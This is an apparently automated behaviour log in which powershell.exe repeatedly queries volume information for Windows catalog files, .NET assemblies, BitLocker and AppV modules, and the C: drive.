Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
